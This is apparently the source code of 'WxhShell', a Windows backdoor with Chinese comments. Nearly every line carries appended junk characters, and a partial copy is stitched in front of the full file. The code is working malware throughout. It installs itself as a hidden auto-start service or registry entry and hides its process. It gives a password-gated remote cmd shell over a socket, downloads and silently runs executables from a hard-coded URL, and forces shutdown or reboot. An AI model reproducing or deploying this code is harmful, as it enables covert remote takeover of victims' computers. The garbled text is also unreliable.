    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x"(KBEK~  
    if(Boot(SHUTDOWN)) JRFtsio*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +V+a4lU14  
    else { /=h` L ,  
    closesocket(wsh); p'fYULYE  
    ExitThread(0); "3hMq1NQ`g  
    } *A< 5*Db:F  
    break; F?cK- .  
    } }Lv;!  
  // 获取shell DMS! a$4  
  case 's': { *H122njH+T  
    CmdShell(wsh); F/Pep?'  
    closesocket(wsh); _U0f=m  
    ExitThread(0); #%s#c0TX  
    break; VX/#1StC  
  } fh{`Mz,o  
  // 退出 q;U,s)Uz^  
  case 'x': { sGb{9.WK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2oU_2P  
    CloseIt(wsh); GL JMP^p  
    break; &{RDM~  
    } G j1_!.T  
  // 离开 ;]fs'LH  
  case 'q': { C7vxw-o|&p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !c-*O<Y  
    closesocket(wsh); i?gSC<a  
    WSACleanup(); +3`alHUK  
    exit(1); ':}\4j&{E  
    break; .l|$dE/E  
        } ExM,g'7  
  } !+njS  
  } f-d1KNY  
|'.  
  // 提示信息 uocGbi:V';  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kl,3IKHa  
} W`&hp6Jq  
  } L(o15  
e*!kZAf  
  return; ?8 {"x8W;  
} <X5 fUU"+U  
4sM.C9W  
// shell模块句柄 h1{3njdr  
int CmdShell(SOCKET sock) aP`P)3O6)1  
{ ]HdCt3X  
STARTUPINFO si; qa6,z.mQ  
ZeroMemory(&si,sizeof(si)); , dp0;nkr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5coZ|O&f8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rH>)oThA#  
PROCESS_INFORMATION ProcessInfo; 875od  
char cmdline[]="cmd"; zT[!o j7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); smLQS+UE  
  return 0; *j-aXN/$  
} &0f,~ /%Z  
`-&K~^-cH  
// 自身启动模式 Df#l8YK#  
int StartFromService(void) I0a<%;JJW  
{ &OBkevg  
typedef struct Jo}eeJ;k  
{ vFsLY  
  DWORD ExitStatus; o14cwb  
  DWORD PebBaseAddress; ETLD$=iS  
  DWORD AffinityMask; o Rzi>rr  
  DWORD BasePriority; c|1&lYal;  
  ULONG UniqueProcessId; Ev P{p  
  ULONG InheritedFromUniqueProcessId; i?~3*#IpD  
}   PROCESS_BASIC_INFORMATION; !Uc T RI  
d7i]FV  
PROCNTQSIP NtQueryInformationProcess; X7 w Ky(g  
qFNes)_r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2 FFD%O05  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 05k0n E  
?rIx/>C9  
  HANDLE             hProcess; g ci    
  PROCESS_BASIC_INFORMATION pbi; 0^ibNiSP  
2m[<]$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6R5Qy]]E  
  if(NULL == hInst ) return 0; ;GI&lpKK  
Z)\@i=m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K@#L)VT!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d/Q%IeEL.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )ANmIwmC#  
[9 RR8  
  if (!NtQueryInformationProcess) return 0; EZj9wd"u  
N?>vd*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `@ FYkH  
  if(!hProcess) return 0; jSAjcLR  
0L KRN|@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s0_nLbWwO  
aA TA9V  
  CloseHandle(hProcess); "Pf~iwfw  
-]=@s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ((I%'   
if(hProcess==NULL) return 0; h@h!,;  
2Gdd*=4z  
HMODULE hMod; n}V_,:Z  
char procName[255]; r4f~z$QK  
unsigned long cbNeeded; TU7' J  
rt| 7h>RQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^KELKv,_  
'eX '  
  CloseHandle(hProcess); F\KUZ[%  
,=:D   
if(strstr(procName,"services")) return 1; // 以服务启动 /SrAW`;"  
"Yca%:  
  return 0; // 注册表启动 @]#1(9P  
} +@:x!q|^  
ym6K !i]q4  
// 主模块 ujucZ9}yd  
int StartWxhshell(LPSTR lpCmdLine) @<Yy{ ~L|  
{ 69 o 7EA  
  SOCKET wsl; .}`Ix'.  
BOOL val=TRUE; 6(e>P)  
  int port=0; : \}(& >  
  struct sockaddr_in door; _7)n(1h[3b  
->{KVPHe{  
  if(wscfg.ws_autoins) Install(); g>9kXP+  
d'I"jZ  
port=atoi(lpCmdLine); h65-s  
65m"J'  
if(port<=0) port=wscfg.ws_port; ilva,WFa^  
fg{n(TE"8  
  WSADATA data; W"3ph6[eW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "x /OIf  
_Y[bMuUb=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ip]KPrw p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (%:c#;#  
  door.sin_family = AF_INET; 9<)NvU^-r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (Clkv  
  door.sin_port = htons(port); -B\HI*u  
zkdetrR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  :#~j:C|  
closesocket(wsl); + +#5  
return 1; )tnh4WMh}  
} ?KI,cl  
aoa)BNs  
  if(listen(wsl,2) == INVALID_SOCKET) { F.v{-8GV  
closesocket(wsl); 1&o|TT/  
return 1; a+PzI x2  
} @oad,=R&  
  Wxhshell(wsl); 7fX<511(  
  WSACleanup(); =iD 3Yt  
9?3&?i2-  
return 0; <V6VMYXY4  
wsVV$I[2  
} uL/m u<  
Ji 0 tQV  
// 以NT服务方式启动 FjI`uP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1~QPG\cdIX  
{ u4|$bbig  
DWORD   status = 0; y<bDTeoo  
  DWORD   specificError = 0xfffffff; Iy3GE[  
7 ^mL_SMj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lo!+f"7ym\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dmN&+t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g2/8~cn8z  
  serviceStatus.dwWin32ExitCode     = 0; {T Ug. %u  
  serviceStatus.dwServiceSpecificExitCode = 0; R+,u^;\  
  serviceStatus.dwCheckPoint       = 0; KFkoS0M5|  
  serviceStatus.dwWaitHint       = 0; XNu^`Ha  
:TC@tM~Oy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NL0n009"c$  
  if (hServiceStatusHandle==0) return; QS]1daMIK<  
Mzw X>3x  
status = GetLastError(); H? y,ie#u  
  if (status!=NO_ERROR) }k G9!sf  
{ we?76t:-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VgC2+APg  
    serviceStatus.dwCheckPoint       = 0; p`#R<K  
    serviceStatus.dwWaitHint       = 0; M|(Q0 _8  
    serviceStatus.dwWin32ExitCode     = status; q,U+qt  
    serviceStatus.dwServiceSpecificExitCode = specificError; f! .<$ih  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _aMPa+D=P  
    return; %\Mo-Ow!\  
  } 6;qy#\}2  
r s?R:+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ktm4 A O  
  serviceStatus.dwCheckPoint       = 0; 0|\$Vp  
  serviceStatus.dwWaitHint       = 0; Uwx E<=z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y0K[Sm>  
} 1,!(0 5H  
:+|Z@KB  
// 处理NT服务事件,比如:启动、停止 [o5Hl^  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  A4<Uu~  
{ fku<,SV$O4  
switch(fdwControl) 4^OY C  
{ %lGfAYEM=  
case SERVICE_CONTROL_STOP: p >t#@Eu|  
  serviceStatus.dwWin32ExitCode = 0; JNUt$h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &7wd?)s  
  serviceStatus.dwCheckPoint   = 0; @\P;W(m.i  
  serviceStatus.dwWaitHint     = 0; P0PWJ^+,+  
  { f/Bp.YwL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t=O8f5Pf{  
  } b e^6i:  
  return; 9lH?-~9  
case SERVICE_CONTROL_PAUSE: ce3YCflt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gH7|=W  
  break; 5K?IDt7A]  
case SERVICE_CONTROL_CONTINUE: N;j)k;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s1=G;  
  break; &<U0ZvrsH  
case SERVICE_CONTROL_INTERROGATE: -FQ 'agf@&  
  break; E5lBdM>2  
}; /U)D5ot<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  *m,k(/>  
} _ T):G6C8  
-rli(RR)|  
// 标准应用程序主函数 zY!j:FT1HY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FfPar:PHj  
{ k<{{*  
spPNr  
// 获取操作系统版本 oVfLnI ;  
OsIsNt=GetOsVer(); o;R2p $  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hL;(C) (  
o,8TDg  
  // 从命令行安装 ><$d$(  
  if(strpbrk(lpCmdLine,"iI")) Install(); in-HUG  
"#oHYz3D  
  // 下载执行文件 zZ323pq  
if(wscfg.ws_downexe) { YCM]VDx4u1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]cMqahaY  
  WinExec(wscfg.ws_filenam,SW_HIDE); f-n1I^|  
} * 8_wYYH  
R1GEh&U{  
if(!OsIsNt) { 4X |(5q?  
// 如果时win9x,隐藏进程并且设置为注册表启动 os={PQRD  
HideProc(); g($DdKc|g  
StartWxhshell(lpCmdLine); CZI66pDy  
} |NC*7/}  
else :G2k5xD/E  
  if(StartFromService()) ~`\?"s:  
  // 以服务方式启动 |pp*|v1t  
  StartServiceCtrlDispatcher(DispatchTable); sCk?  
else %)I{%~u0  
  // 普通方式启动 h*$y[}hDuv  
  StartWxhshell(lpCmdLine); b8SHg^}  
AKyUfAj3  
return 0; m(#LhlX  
} ?fjuh}Q5h  
#[~pD:qqM  
Midy"  
/}  WDU  
=========================================== EYEnN  
h+&OQ%e=8  
`FTy+8mw  
DBD%6o>]K  
&NoS=(s,  
X_|J@5b7  
" +M$Q =6/  
;n=.>s*XL'  
#include <stdio.h> HxK80mJ  
#include <string.h> $5< #n@  
#include <windows.h> $#S&QHyEe  
#include <winsock2.h> b+6\JE^Mz  
#include <winsvc.h> w6GyBo{2O_  
#include <urlmon.h> SO(NVJh  
_FVcx7l!u  
#pragma comment (lib, "Ws2_32.lib") FrYqaP  
#pragma comment (lib, "urlmon.lib") p@5`& Em,  
vchm"p?9)  
#define MAX_USER   100 // 最大客户端连接数 h=kh@},  
#define BUF_SOCK   200 // sock buffer `A^"% @j  
#define KEY_BUFF   255 // 输入 buffer C:C}5<fk x  
DB:+E|vSD  
#define REBOOT     0   // 重启 /.MN  
#define SHUTDOWN   1   // 关机 2h1C9n%j9  
87P>IO  
#define DEF_PORT   5000 // 监听端口 U\;6mK)M^J  
()+ <)hg}2  
#define REG_LEN     16   // 注册表键长度 ruzspS  
#define SVC_LEN     80   // NT服务名长度 3? 7\ T#=  
L=8<B=QT$  
// 从dll定义API U`d5vEhT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TDNQu_E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n3Z 5t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5b[jRj6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]0)|7TV*  
O 8u j`G 9  
// wxhshell配置信息 f Tl<p&b  
struct WSCFG { D+z?wuXk  
  int ws_port;         // 监听端口 qA$*YIlK  
  char ws_passstr[REG_LEN]; // 口令 m~u5kbHOi=  
  int ws_autoins;       // 安装标记, 1=yes 0=no O#k6' LN?  
  char ws_regname[REG_LEN]; // 注册表键名 S=nzw-(I  
  char ws_svcname[REG_LEN]; // 服务名 TXk?#G\o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &[/w_| b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )Es"LP]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MLWM&cFG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;\Y& ce  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T}P".kpbS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !Kj,9NX{U  
@I/]D6 ~"  
}; "4H +!r}  
^Z# W_R\l  
// default Wxhshell configuration V<@ o<R  
struct WSCFG wscfg={DEF_PORT, k"]dK,,  
    "xuhuanlingzhe", #Av.iAs  
    1, ;@Z#b8aM}  
    "Wxhshell", (B_\TdQ  
    "Wxhshell", "xHgqgFyO  
            "WxhShell Service", OJ zs Q  
    "Wrsky Windows CmdShell Service", D-(w_$#  
    "Please Input Your Password: ", 3G~@H>j  
  1, Z1Z1@2 T  
  "http://www.wrsky.com/wxhshell.exe", ( %xwl  
  "Wxhshell.exe" Mo @C9Y0  
    }; oifv+oY  
B'EKM)dA  
// 消息定义模块 7`8Ik`lY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BT"42#7_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aKuSd3E@#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h{p=WWK  
char *msg_ws_ext="\n\rExit."; ~UjGSO)z}  
char *msg_ws_end="\n\rQuit."; ``e$AS  
char *msg_ws_boot="\n\rReboot..."; *nsAgGKKM^  
char *msg_ws_poff="\n\rShutdown..."; ]=";IN:SU  
char *msg_ws_down="\n\rSave to "; GBFtr   
[7S} g  
char *msg_ws_err="\n\rErr!"; dW~*e2nq  
char *msg_ws_ok="\n\rOK!"; j;3[KLmuK%  
o1Q7Th  
char ExeFile[MAX_PATH]; fasgmi}  
int nUser = 0; Qx47l  
HANDLE handles[MAX_USER]; sHl>$Qevz  
int OsIsNt; 3?Pn6J{O  
'07P&g-  
SERVICE_STATUS       serviceStatus; WT`4s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ixQJ[fH10  
XW s"jt  
// 函数声明 :2-pjkhiwY  
int Install(void); GJp85B!PlO  
int Uninstall(void); qfz8jY]  
int DownloadFile(char *sURL, SOCKET wsh); xD[Gq%  
int Boot(int flag); oK%K}{`  
void HideProc(void); hcbv;[bG  
int GetOsVer(void); A\#P*+k0  
int Wxhshell(SOCKET wsl); o b|BXF  
void TalkWithClient(void *cs); Xo*%/0q'  
int CmdShell(SOCKET sock); dwd:6.J(  
int StartFromService(void); P*Tx14xe4  
int StartWxhshell(LPSTR lpCmdLine); {aJJ `t  
YH_7=0EJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ['*8IWg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w{90`  
z7Eg5rm|QZ  
// 数据结构和表定义 !G}+E2fDA  
SERVICE_TABLE_ENTRY DispatchTable[] = 6 ]pX>Xho  
{ Y.U[wL>  
{wscfg.ws_svcname, NTServiceMain}, T%n2$  
{NULL, NULL} {Gw.l."  
}; Xy &uZ  
V-r3-b  
// 自我安装 <u:WlaS  
int Install(void) 0#*#a13  
{ ] 0m&(9  
  char svExeFile[MAX_PATH]; 3lq Mucr  
  HKEY key; JA_BKA  
  strcpy(svExeFile,ExeFile); 4bJZmUb  
Mz;[+p  
// 如果是win9x系统,修改注册表设为自启动 ]B]*/  
if(!OsIsNt) { ]$\|ktY!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j$Je6zq0x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,SiY;(b=\  
  RegCloseKey(key); p6XtTx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xvSuPP4 m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &gE 75B  
  RegCloseKey(key); mA@Me7m}  
  return 0; "a/ Q%.P  
    } u@%r  
  } ~ Yngkt  
} I1>N4R-j  
else { ^T,Gu-2>  
H'UR8%  
// 如果是NT以上系统,安装为系统服务 dN}#2Bo =  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Uyr3dN%*r  
if (schSCManager!=0) fiN3xP]V  
{ d/e|'MPX  
  SC_HANDLE schService = CreateService $<|l E/_]  
  ( ?cEskafb>  
  schSCManager, 3#45m+D  
  wscfg.ws_svcname, I]y.8~xs  
  wscfg.ws_svcdisp, %9#gB  
  SERVICE_ALL_ACCESS, :BGA.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cl*PFQp9j  
  SERVICE_AUTO_START, @M8|(N%  
  SERVICE_ERROR_NORMAL, l?)ZJ3]a  
  svExeFile, H7k PM[  
  NULL, A?T<",bO  
  NULL, ?kz+R'  
  NULL, ^p/Ob'!  
  NULL, !!nuAQ"E[  
  NULL h}Wdh1.M3  
  ); 1uk 0d`JL  
  if (schService!=0) 3o|I[!2.  
  { ,mL !(US  
  CloseServiceHandle(schService); o!r8{L  
  CloseServiceHandle(schSCManager); <JwX_\?ln  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !;!~n`  
  strcat(svExeFile,wscfg.ws_svcname); b2b75}_A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `g1iCF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y05P'Q  
  RegCloseKey(key); }/,CbKi,+  
  return 0; *VkgQ`c  
    } '2-oh  
  } OcSEo7W  
  CloseServiceHandle(schSCManager); Q!FLR>8  
} DK&h eVIoZ  
} %&\jOq~  
Lh-`OmO0>F  
return 1; Zf>^4_x3P  
} (?b@b[D~4  
A;u"<KG?  
// 自我卸载 9r2IuS0  
int Uninstall(void) $.489x+'Z  
{ xT)psM'CL  
  HKEY key; <p?&udqD  
 X}6#II  
if(!OsIsNt) { *$M'`vj:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V8~jf-\$b  
  RegDeleteValue(key,wscfg.ws_regname); Sj(F3wY  
  RegCloseKey(key); 6R29$D|HFO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *AIEl"29  
  RegDeleteValue(key,wscfg.ws_regname); !"TZ:"VZU  
  RegCloseKey(key); -gz0md|Y  
  return 0; )P>u9=?,=E  
  } D8# on!  
} V=:_d,  
} Gj /3kS~@  
else { jUqy8q&  
? QDWuPhN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PZD>U)M  
if (schSCManager!=0) rB%$;<`/  
{ =N|kn<h4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^SfS~G Q  
  if (schService!=0) jAsO8  
  { t%r :4,  
  if(DeleteService(schService)!=0) { ?oiKVL"7  
  CloseServiceHandle(schService); '~wpP=<yyF  
  CloseServiceHandle(schSCManager); ~H}en6Rc  
  return 0; H_IGFZCh  
  } )hj|{h7  
  CloseServiceHandle(schService); J:F^ #gW  
  } BXUF^Hj%  
  CloseServiceHandle(schSCManager); mEuHl>  
} s2v(=  
} wn11\j&  
2PSTGG8JV  
return 1; n|4;Hn1V  
} hD<f3_k  
XL}<1- }  
// 从指定url下载文件 L6i|:D32p  
int DownloadFile(char *sURL, SOCKET wsh) )J3kxmlzQ  
{ ".~{:=  
  HRESULT hr; uC]Z8&+obb  
char seps[]= "/"; !)Rr] ~  
char *token; [Id}4[={e  
char *file; IGAzE(  
char myURL[MAX_PATH]; n`;R pr&  
char myFILE[MAX_PATH]; aP>37s  
qU[O1bN  
strcpy(myURL,sURL); }o9Aa0$*$  
  token=strtok(myURL,seps); 9''p[V.3  
  while(token!=NULL) 1:= `Y@.S  
  { w9#R'  
    file=token; xnq><4  
  token=strtok(NULL,seps); qA/bg  
  } YbMssd2Yg  
J%dJw}  
GetCurrentDirectory(MAX_PATH,myFILE); ev>oC~>s  
strcat(myFILE, "\\"); q3'o|pp  
strcat(myFILE, file); 0d\~"4 R  
  send(wsh,myFILE,strlen(myFILE),0); f3 ]  
send(wsh,"...",3,0); rvwy~hO"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3,.% s  
  if(hr==S_OK) -0,4eg j3  
return 0; xT F=Y_  
else 8t .dPy<  
return 1; N)43};e  
=V^@%YIn  
} ur2!#bU9  
xKJ>gr"w#  
// 系统电源模块 @5}gsC  
int Boot(int flag) En9R>A;`  
{ %3a|<6  
  HANDLE hToken; (clU$m+oXX  
  TOKEN_PRIVILEGES tkp; Ls: =A6AGM  
"'eWn6O(  
  if(OsIsNt) { <4D%v"zRP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hr U :Wr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X_70]^XL  
    tkp.PrivilegeCount = 1; mPmB6q%)]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R.7#zhC`4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a%~yol0wO7  
if(flag==REBOOT) { u+% tPe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IM-`<~(I#  
  return 0; ` X+j2TmS  
} A'"-m)1P  
else { L=7rDW)aa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9)yG.9d1  
  return 0; > x'bZ]gm  
} =[(1my7  
  } wR7aQg  
  else { c d%hW  
if(flag==REBOOT) { _@ i>s,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3B,QJ&  
  return 0; o?!uX|Fy  
} 0MpS4tW0=  
else { KZK,w#9.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s[-]cHQ  
  return 0; ]A!.9Ko}u  
} xYR#%!M  
} vbn>mg5  
 a8h]n:!  
return 1; z/vDgH!s  
} org*z!;.   
r69WD .  
// win9x进程隐藏模块 cTj~lO6  
void HideProc(void) 5V|tXsy:  
{ *j<@yG2\gP  
O: u%7V/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2xmT#m  
  if ( hKernel != NULL ) hh&Js'd  
  { &N{zkMf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %\yK5V5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?0npEz|  
    FreeLibrary(hKernel); )Z:m)k>r;  
  } ~.Q4c*_b  
=QiT)9q)  
return; l @A"U)A(  
} !3KPwI,  
z^~U]S3  
// 获取操作系统版本 ALR:MAXwC  
int GetOsVer(void) 3LrsWAz'  
{ j_pw^I$C  
  OSVERSIONINFO winfo; XZ@ >]P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R`C.ha  
  GetVersionEx(&winfo); ^I./L)0= }  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X RRJ)}P  
  return 1; K.h]JD]o  
  else Fd"WlBYy0  
  return 0; f%1wMOzx  
} $SF3odpt  
GI4oQcJ  
// 客户端句柄模块 HWR& C  
int Wxhshell(SOCKET wsl) &enlAV'#)O  
{ s=\7)n=,M  
  SOCKET wsh; em/Xu  
  struct sockaddr_in client; mCrU//G  
  DWORD myID; {Pvr??"r  
Isp_U5M  
  while(nUser<MAX_USER) 3YRB I|XO  
{ ;@'0T4Z&l  
  int nSize=sizeof(client); dM gbW<uAu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /'NUZ9  
  if(wsh==INVALID_SOCKET) return 1; sbjtL,  
`]LODgk~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); feg`(R2  
if(handles[nUser]==0) dp< au A  
  closesocket(wsh); | /#'S&!U  
else 2?H@$-x>  
  nUser++; T Xl\hL\+  
  } j@V $Mbv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \#_@qHAG  
Hc /w ta  
  return 0; UNY@w=]<  
} k7b(QADqUU  
7C YH'DL  
// 关闭 socket _6J<YQK  
void CloseIt(SOCKET wsh) 9H8=eJd  
{ 7rPLnB]  
closesocket(wsh); PoY>5  
nUser--; @d P~X  
ExitThread(0); Wb'*lT0=  
} >2t cEz%  
DlS&qFs  
// 客户端请求句柄 Xi*SDy  
void TalkWithClient(void *cs) &{hc   
{ =*[, *A  
mC "7)&,F  
  SOCKET wsh=(SOCKET)cs; 0. (zTJ  
  char pwd[SVC_LEN]; _AAx )  
  char cmd[KEY_BUFF]; %y3:SUOdx  
char chr[1]; 5A;"jp^ Z  
int i,j; K9LEIby  
PgqECd)f  
  while (nUser < MAX_USER) { cnC_#kp  
{!g?d<*  
if(wscfg.ws_passstr) { Xv]*;Bq:SK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hX %s]"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TR|;,A[%v#  
  //ZeroMemory(pwd,KEY_BUFF); 4KZSL: A  
      i=0; >5df@_'  
  while(i<SVC_LEN) { )e#fj+>x)  
`GP3 D~  
  // 设置超时 7ia "u+Y  
  fd_set FdRead; ]P JH'=  
  struct timeval TimeOut; H.)fO ctbO  
  FD_ZERO(&FdRead); IS .g);Gj  
  FD_SET(wsh,&FdRead); 0\QYf0o   
  TimeOut.tv_sec=8; IZ|c <#r6  
  TimeOut.tv_usec=0; O&F< oM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nO-d" S*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2}GKHC  
G) jG!`I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1k0^6gE|  
  pwd=chr[0]; xqU^I5Z  
  if(chr[0]==0xd || chr[0]==0xa) { -fhAtxkg  
  pwd=0; jDFp31_X  
  break; J,6!7a  
  } ZyZl\\8U  
  i++;  KhLg*EL  
    } Mi_[9ku>%  
S|s3}]g9  
  // 如果是非法用户,关闭 socket jw%fN!?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5ZZd.9ZgM  
} VvzPQk  
sn2r >m3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yo'q[YtP'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gt#MeU  
DIL)7K4  
while(1) { D[+|^,^>  
|>M-+@g j  
  ZeroMemory(cmd,KEY_BUFF); UU*0dSWr  
tbL1g{Dz,  
      // 自动支持客户端 telnet标准   ks)fQFSbu  
  j=0; LqMe'z  
  while(j<KEY_BUFF) { 7 _X&5ni  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #tCIuQ,  
  cmd[j]=chr[0]; 4+BrTGp  
  if(chr[0]==0xa || chr[0]==0xd) { C+}CU}  
  cmd[j]=0; zUvB0\{q  
  break; Bb$S^F(Xq  
  } Rv0-vH.n  
  j++; ;:-}z.7Y  
    } hQ\#Fhu7  
-Mit$mFn  
  // 下载文件 r[Zg 2  
  if(strstr(cmd,"http://")) { 7)g;Wd+H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Iwnj'R7:  
  if(DownloadFile(cmd,wsh)) `#-p,NElV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X%RQB$  
  else PEMxoe<+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |p'_k(z}  
  }  /<(R  
  else { $Vd?K@W[h  
qb#V)  
